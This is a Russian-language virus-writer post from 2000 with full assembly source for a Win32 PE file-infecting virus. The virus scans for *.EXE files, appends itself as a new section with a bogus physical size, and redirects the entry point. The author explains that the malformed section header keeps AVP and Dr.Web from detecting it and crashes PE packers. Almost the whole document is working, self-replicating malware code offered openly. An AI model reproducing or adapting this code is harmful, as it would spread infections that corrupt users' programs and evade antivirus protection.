Левые данные при создании новой секции - 27:07 - by No
 
Создавали новую секцию? Этот вирус делает тоже самое.
Отличие в том, в том что он подставляет левые данные
в поле physical size обьекта, и не ставит флаг E.
А результат - АВП не орет, WEB - тоже не орет.
Кстати, флаги не обязательно ставить R/W/E/C,
R/W/C будет достаточно, так как на x86 процессорах
флаг R = E. Кстати, все PE пакеры, которые я испытывал
валились при попытке сжать зараженный файл: OUT OF MEMORY
CALC.EXE

Object table:
#   Name      VirtSize    RVA     PhysSize  Phys off  Flags
--  --------  --------  --------  --------  --------  --------
01  .text     00011A0E  00001000  00012000  00001000  60000020 [CER]
02  .data     00000F84  00013000  00001000  00013000  C0000040 [IRW]
03  .rsrc     00003000  00014000  00003000  00014000  40000040 [IR]
04            000002DB  00017000  58585858  00017000  C0000020 [CRW]

[NO].


; я не стал заново все переписывать вирус, 
; заменил только процедуру заражения
; N0. 		июль, 2000.

.386
.model flat, stdcall

 EXTRN  ExitProcess: PROC

 addr_table = 7 * 4
 name_table = 8 * 4
 ord_table = 9 * 4
 name_counter = 6 * 4
 physical_size = 4 * 4
 physical_offs = 5 * 4
 virtual_size = 2 * 4
 object_flags = 9 * 4

 min_exe_size = 10000d
 virus_size = (END_VIRUS-START)

 GENERIC_RW = 80000000h+40000000h
 OPEN_EXISTING = 3
 WRITEABLE_OBJECT = 80000000h
 CODE_OBJECT = 00000020h
 EXECUTABLE_OBJECT = 20000000h

 CloseHandle = 0
 UnmapViewOfFile = 1
 MapViewOfFile = 2
 GetFileSize = 3
 CreateFileMappingA = 4
 CreateFileA = 5
 FindNextFileA = 6
 FindFirstFileA = 7

 api_num = 7

 findfile_struct_size = 320 + 58
 win_directory_size = 320
 reserve_blocks = 1000h

 stack_memory_used = findfile_struct_size + \
                        win_directory_size + \
                        reserve_blocks

 ; edi должен указывать base_stack
 call_api macro api_number
   call [edi+4*api_number]
 endm

.data

 START: jmp     GET_DELTA
        db      "NO"
 GET_DELTA:
        call    DELTA
 DELTA: pop     ebp
        sub     ebp, offset DELTA
        pop     eax

        mov     ebx, [ebp+offset host_ip]
        add     ebx, [ebp+offset host_ib]
        push    ebx

        shr     eax, 16
        dec     eax
        shl     eax, 16
        mov     edi, eax
        xor     ebx, ebx
        mov     bx, word ptr [eax+3ch]
        cmp     dword ptr [eax+ebx], 4550h
        jnz     EXIT

        add     eax, ebx
        mov     esi, [eax+78h]
        add     esi, edi
        mov     eax, [esi+addr_table]
        add     eax, edi
        push    eax
        mov     eax, [esi+name_table]
        add     eax, edi
        mov     ebx, eax
        push    eax
        mov     eax, [esi+ord_table]
        add     eax, edi
        push    eax
        mov     ecx, [esi+name_counter]
        push    ecx

 SEARCH_GTA@1:
        mov     eax, [ebx]
        add     eax, edi
        cmp     dword ptr [eax], "PteG"
        jnz     NEXT_NAME
        cmp     dword ptr [eax+4], "Acor"
        jz      SEARCH_GTA@2
 NEXT_NAME:
        add     ebx, 4
        loop    SEARCH_GTA@1
        jmp     EXIT
 SEARCH_GTA@2:
        pop     ebx
        sub     ebx, ecx
        shl     ebx, 1
        add     ebx, [esp]                      ; ord таблица
        xor     edx, edx
        mov     dx, word ptr [ebx]
        shl     edx, 2
        add     edx, [esp+4*2]                  ; адр таблица
        mov     edx, [edx]
        add     edx, edi
        mov     [ebp+offset GetProcAddressRVA], edx

        lea     esi, [ebp+api_list]
 GET_API_RVA:
        push    edi edx
        call    edx, edi, esi
        pop     edx edi
        or      eax, eax
        jz      EXIT
        push    eax
        call    STR_ESI_Z
        cmp     byte ptr [esi],0FFh
        jnz     GET_API_RVA
; распределение памяти стэка
        mov     esi, esp
        mov     edi, esi
        sub     esi, 4*4
        mov     edx, esi
        sub     edx, stack_memory_used
        push    edx

        mov     [ebp+offset base_stack], edx
        mov     esi, edx
        mov     ecx, stack_memory_used
        call    CLEAR_BLOCK
        lea     eax, [ebp+file_mask]

 FIND_FIRST_FILE:
        push    edi                             ; должно быть сохранено
        push    esi
        push    eax
        call_api FindFirstFileA
        pop     edi                             ; 'стэковый обработчик' api
        pop     edx                             ; указатель на начало стэкпам
        inc     eax
        or      eax, eax
        jz      EXIT
        dec     eax
        mov     esi, edx
        add     esi, 44
        pushad
        call    INFECT
        popad

 FIND_NEXT_FILE:
        push    edx
        push    eax
        push    edx
        push    eax
        call_api FindNextFileA
        or      eax, eax
        jz      EXIT
        pop     eax
        pop     edx
        mov     esi, edx
        add     esi, 44
        pushad
        call    INFECT
        popad
        jmp     FIND_NEXT_FILE

 file_mask  db "*.EXE",0

 STR_ESI_Z:
        inc     esi
        cmp     byte ptr [esi], 0
        jnz     STR_ESI_Z
        inc     esi                             ; пропустить 0
        ret

 CLEAR_BLOCK:
        push    esi
        shr     ecx, 2
 @CBx1: mov     dword ptr [esi], 0
        add     esi, 4
        loop    @CBx1
        pop     esi
        ret

 INFECT:
        push    0
        push    0
        push    OPEN_EXISTING
        push    0
        push    0
        push    GENERIC_RW
        push    esi
        call_api CreateFileA
        inc     eax
        or      eax, eax
        jz      INFECT_RET
        dec     eax

        xchg    eax, ebx
        push    ebx
        push    0
        push    ebx
        call_api GetFileSize
        pop     ebx
        cmp     eax, min_exe_size
        push    ebx
        jna     CLOSE_INFECT_RET
        add     eax, 1000h

        push    0
        push    eax
        push    0
        push    4
        push    0
        push    ebx
        call_api CreateFileMappingA
        or      eax, eax
        jz      CLOSE_INFECT_RET

        push    0
        push    0
        push    0
        push    2
        push    eax
        call_api MapViewOfFile
        push    eax

        xor     ebx, ebx
        mov     bx, word ptr [eax+3Ch]
        cmp     dword ptr [eax+ebx], 4550h
        jnz     UNMAP_INFECT_RET
        add     eax, ebx
        xor     ecx, ecx
        mov     cx, word ptr [eax+6]
        imul    ecx, 40
        mov     ebx, [eax+40]
        mov     [ebp+offset host_ip], ebx
        mov     ebx, [eax+52]
        mov     [ebp+offset host_ib], ebx
        xor     edx, edx
        mov     dx, word ptr [eax+14h]
        add     edx, eax
        add     edx, 18h
        add     edx, ecx
; самопроверка, если уже вирус вписан, то физ размер XXXX
        cmp	dword ptr [edx-40+16], "XXXX"
        jz	UNMAP_INFECT_RET

        mov     dword ptr [edx+8], virus_size
        mov     ecx, [edx-40+16]
        add     ecx, [edx-40+20]

        push    ecx

; RVA
        mov     dword ptr [edx+12], ecx
; физ размер
        mov     dword ptr [edx+16], "XXXX"      
; физ смещение = RVA
        mov     dword ptr [edx+20], ecx
; установка флагов
        mov     dword ptr [edx+36], 80000000h OR 40000000h OR 20h
	
        push    edi
        mov     edi, ecx
        add     edi, [esp+8]
        xchg    edi, esi
        mov     ecx, 1000h
        call    CLEAR_MEM
        xchg    edi, esi
        lea     esi, [ebp+START]
        mov     ecx, (virus_size+2)/4
        rep     movsd
        nop
        pop     edi
        pop     ecx
        mov     [eax+40], ecx                  ; установка нового entry-point`а
        add     dword ptr [eax+80], 1000h      ; пофиксить виртуальный размер
        inc     word ptr [eax+6]               ; кол-во секций +1

 UNMAP_INFECT_RET:
        call_api UnmapViewOfFile
 CLOSE_INFECT_RET:
        call_api CloseHandle
 INFECT_RET:
        ret
 EXIT:  or   ebp, ebp
        jnz   EXIT_TO_HOST
        call ExitProcess
 EXIT_TO_HOST:
        mov  esp, edi
        add  esp, (api_num + 4) * 4
        pop  ebx
        jmp  ebx

 CLEAR_MEM:
        push  esi
        shr   ecx, 2
 CLEAR_MEM@LOOP:
        mov   dword ptr [esi], 0
        add   esi, 4
        loop  CLEAR_MEM@LOOP
        pop   esi
        ret

 GetProcAddressRVA      dd 0
 base_stack             dd 0
 host_ip                dd 0    ; входная точка жертвы
 host_ib                dd 0    ; imagebase жертвы

 ALIGN  4

 api_list:      db "FindFirstFileA",0,"FindNextFileA",0,"CreateFileA",0
                db "CreateFileMappingA",0,"GetFileSize",0,"MapViewOfFile",0
                db "UnmapViewOfFile",0,"CloseHandle",0
                db 0FFh
 api_list_size = ($ - api_list)


 END_VIRUS  equ  $

.code
 dd     0

 END    START